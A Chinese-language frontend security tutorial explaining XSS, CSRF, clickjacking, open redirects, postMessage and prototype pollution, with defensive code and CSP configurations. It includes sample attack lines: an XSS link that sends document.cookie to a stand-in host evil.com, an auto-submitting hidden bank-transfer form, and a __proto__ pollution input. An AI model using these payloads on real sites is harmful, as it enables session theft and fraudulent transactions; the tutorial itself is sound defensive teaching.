前端安全防护实战:XSS、CSRF、点击劫持的系统性防御

前端早已不只是”切图”。用户最先接触的页面就是攻击面:一处 innerHTML 用错、一个 Cookie 少写了 HttpOnly,就可能把会话凭据、甚至整个账号交到攻击者手里。本文从同源策略出发,把 XSS、CSRF、点击劫持 三大高频漏洞的成因、利用链与防御一次讲透,并附上可直接落地的 CSP 配置与速查清单。

一、先看懂浏览器同源策略

同源 = 协议 + 域名 + 端口,三者完全一致。这是浏览器安全的基石,它的核心作用是:限制一个源的脚本读取另一个源的资源。

操作 是否受同源策略限制 说明
发送跨域请求(表单 / img / script) 否 可以”发出”,只是默认读不到响应
读取跨域 AJAX 响应 是 需目标站 CORS 显式放行
读取跨域 iframe 的 DOM 是 需同源或 postMessage
设置/读取跨域 Cookie 受限 受 SameSite、Domain、Secure 约束

关键认知:同源策略拦截”读取”,不拦截”发送”。正因为如此,<img src="https://bank.com/transfer?to=evil&amount=10000"> 这类请求能”发出去”——这就是 CSRF 能成立的根因。

二、XSS:跨站脚本注入

XSS 的本质是:把攻击者可控的内容,当作代码在当前页面执行。

2.1 三种类型与差异

类型 触发位置 典型载荷入口 是否持久化
存储型 页面渲染时执行 评论、昵称、文章正文 ✅ 持久存在数据库
反射型 请求参数直接回显 搜索词、错误提示 ❌ 随请求消失
DOM 型 前端 JS 写入 DOM location.hash、innerHTML ❌ 不经过服务端

2.2 一条典型的利用链

1
2
3
4
5
6
// ❌ 危险:把 URL 参数直接塞进 innerHTML
const keyword = new URLSearchParams(location.search).get('q');
document.querySelector('#result').innerHTML = `搜索:${keyword}`;

// 攻击者构造的链接:
// https://demo.com/?q=<img src=x onerror=fetch('//evil.com/c?c='+document.cookie)>

只要用户点开这行链接,Cookie 就会被打包发往攻击者服务器。

2.3 现代防御:不靠”过滤关键字”

① 输出编码要”看上下文”

输出位置 正确做法
HTML 文本 转义 < > & " '
HTML 属性 值必须加引号 + 转义
JS 变量 用 JSON.stringify 序列化
URL 参数 encodeURIComponent

② 富文本用白名单净化,而不是正则

1
2
3
4
5
6
7
8
9
import DOMPurify from 'dompurify';

// 白名单净化:只保留安全标签与属性
const dirty = '<img src=x onerror=alert(1)><b>正常加粗</b>';
const clean = DOMPurify.sanitize(dirty, {
ALLOWED_TAGS: ['b', 'i', 'a', 'p', 'br', 'ul', 'li'],
ALLOWED_ATTR: ['href', 'title', 'target'],
});
document.querySelector('#content').innerHTML = clean;

③ 杜绝”字符串拼 HTML”,优先用安全 API

1
2
3
4
5
6
// ✅ 文本一律用 textContent
el.textContent = keyword;
// ✅ 结构用 createElement + append
const a = document.createElement('a');
a.setAttribute('href', safeUrl);
a.textContent = label;

④ 开启 Trusted Types(浏览器级兜底)

1
Content-Security-Policy: require-trusted-types-for 'script'; trusted-types default dompurify

开启后,任何把未经 Trusted Types 包装的字符串赋给 innerHTML、eval、script.src 的行为都会被浏览器直接拦截,从根上堵死 DOM 型 XSS。

⑤ Cookie 加 HttpOnly,让脚本根本读不到会话 Cookie:

1
Set-Cookie: SESSION=abc123; HttpOnly; Secure; SameSite=Lax; Path=/

三、CSRF:跨站请求伪造

CSRF 与 XSS 相反:攻击者不需要注入脚本,而是借用你已登录的 Cookie,在你的身份下发起”你不知情”的请求。

3.1 攻击长什么样

用户登录银行后未退出,访问了恶意页面,页面里藏着:

1
2
3
4
5
6
<!-- 一个自动提交的隐藏表单,冒充用户转账 -->
<form action="https://bank.com/transfer" method="POST" id="f">
<input name="to" value="attacker">
<input name="amount" value="10000">
</form>
<script>document.getElementById('f').submit()</script>

浏览器会自动带上 bank.com 的 Cookie,服务端看不出这是伪造请求。

3.2 四层防御(建议叠加)

① SameSite Cookie —— 成本最低的第一道闸

1
Set-Cookie: SESSION=abc123; HttpOnly; Secure; SameSite=Lax
取值 跨站场景是否带 Cookie 适用
Strict ❌ 一律不带 后台管理、支付
Lax(默认) 仅安全的顶级导航(GET)带 大多数站点推荐
None ✅ 带(必须配 Secure) 需要跨站嵌入的登录态

② CSRF Token —— 无状态服务端的双保险

1
2
3
4
5
6
7
8
9
// 服务端下发随机 token(存 Session 或签名),前端放入请求头
fetch('/api/transfer', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': getCookie('csrf_token'), // 或从 meta 标签读取
},
body: JSON.stringify(payload),
});

服务端校验:请求头里的 token 必须与会话中的一致。攻击者的站点读不到你的 token(受同源策略限制),因此伪造请求注定失败。

③ 校验 Origin / Referer

1
2
3
4
5
6
# nginx:对状态改变类请求校验来源
set $origin_ok 0;
if ($http_origin ~* "^https://(www\.)?demo\.com$") { set $origin_ok 1; }
if ($request_method !~ ^(GET|HEAD)$) {
if ($origin_ok = 0) { return 403; }
}

④ 关键操作二次验证:转账、改密、支付等高风险动作,追加短信/密码/生物识别确认,让”静默伪造”无法完成。

CSRF 的现代共识:SameSite=Lax + CSRF Token + Origin 校验 三件套叠加,即可覆盖绝大多数场景;纯前端 SPA 一定要把 Token 放在请求头而不是 URL 或表单里。

四、点击劫持:看不见的”透明层”

攻击者把你的页面用 iframe 嵌进自己的页面,再叠一层透明按钮,诱导用户点击——用户以为在领红包,实际点的是你的”确认转账”。

防御手段 指令 评价
X-Frame-Options DENY / SAMEORIGIN 老牌,兼容好,但只能整站粒度
CSP frame-ancestors 'none' / 'self' + 域名 现代推荐,可精细到来源
frame-busting JS if (top !== self) top.location = self.location 弱,可被双 iframe 绕过
1
2
Content-Security-Policy: frame-ancestors 'none';
X-Frame-Options: DENY

两点常被忽略:frame-ancestors 会覆盖 X-Frame-Options,两者同时配置时以 CSP 为准;如果你的站点需要被可信站点嵌入,请用 frame-ancestors https://partner.com 精确放行,而不是直接开放。

五、三类同样危险、却常被忽视的风险

5.1 开放重定向

1
2
3
4
5
6
7
// ❌ 直接跳转到参数指定地址,可被用于钓鱼
location.href = new URLSearchParams(location.search).get('redirect');

// ✅ 白名单校验,只允许站内路径或受信域名
const WHITELIST = ['/home', '/profile', 'https://trusted.com'];
const target = new URLSearchParams(location.search).get('redirect');
if (WHITELIST.some(w => target?.startsWith(w))) location.href = target;

5.2 postMessage 未校验来源

1
2
3
4
5
6
7
8
9
// ❌ 任何页面都能给你发消息并操控页面
window.addEventListener('message', e => doSomething(e.data));

// ✅ 校验 origin,并限定 targetOrigin
window.addEventListener('message', e => {
if (e.origin !== 'https://trusted.com') return;
doSomething(e.data);
});
iframe.contentWindow.postMessage(data, 'https://trusted.com'); // 指定目标源

5.3 依赖供应链与原型污染

前端项目动辄上千个 npm 包,一次投毒就能波及所有用户。

1
2
3
4
5
# 定期审计与自动修复
npm audit
npm audit fix
# 锁定版本,避免引入"漂移"的间接依赖
npm ci
1
2
3
4
5
6
7
8
9
10
11
12
// ❌ 合并对象时不设防,可被 __proto__ 污染全局原型
function merge(target, src) { for (const k in src) target[k] = src[k]; return target; }
// 输入 { "__proto__": { "isAdmin": true } } 会污染 Object.prototype

// ✅ 过滤危险键
function safeMerge(target, src) {
for (const k of Object.keys(src)) {
if (k === '__proto__' || k === 'constructor' || k === 'prototype') continue;
target[k] = src[k];
}
return target;
}

六、CSP 落地实战:从”只上报”到”强制拦截”

CSP(内容安全策略)是前端的”最后一道总闸”,能在 XSS 已经发生时限制脚本执行与数据外带。

第一步:先用 Report-Only 只上报,观察不拦截

1
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report

第二步:确认无大规模误报后,转为强制策略

1
2
3
4
5
6
7
8
9
10
11
12
add_header Content-Security-Policy "
default-src 'self';
script-src 'self' 'nonce-RANDOM_PER_REQUEST';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
connect-src 'self' https://api.demo.com;
frame-ancestors 'none';
base-uri 'self';
form-action 'self';
object-src 'none';
report-uri /csp-report;
" always;

上线 CSP 的三个坑:① 尽量别用 unsafe-inline,改用每次请求随机的 nonce;② 灰度期间务必保留 Report-Only 一段时间收集误报;③ 内联事件(onclick="...")会被 CSP 干掉,需提前迁移到 addEventListener。

七、前后端安全速查清单

风险 前端负责 后端 / 运维负责
XSS 上下文输出编码、DOMPurify、Trusted Types 存储前净化、CSP 响应头
CSRF 请求头带 Token、校验响应 SameSite Cookie、Token 校验、Origin 校验
点击劫持 — frame-ancestors / X-Frame-Options
开放重定向 跳转白名单 服务端二次校验
postMessage 校验 origin / 指定 targetOrigin —
依赖供应链 npm audit / npm ci 私有源、签名校验
原型污染 过滤 __proto__ 等危险键 入参 schema 校验

安全没有”银弹”,只有纵深防御:编码是第一道、CSP 是第二道、Cookie 属性是第三道。任何单点防护都可能被绕过,叠加起来才可靠。

如果把这篇的要点浓缩成一句话:永远不要信任用户输入,也永远不要信任前端过滤——服务端才是最终防线,但前端要做好自己那道门。